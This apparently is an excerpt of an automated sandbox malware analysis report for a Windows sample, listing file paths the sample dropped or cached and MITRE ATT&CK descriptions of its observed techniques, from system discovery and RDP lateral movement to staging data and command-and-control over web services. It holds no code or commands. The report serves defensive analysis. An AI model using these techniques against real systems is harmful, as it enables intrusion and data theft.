C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip

C:\Program Files\Windows Media Player\graph\graph.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre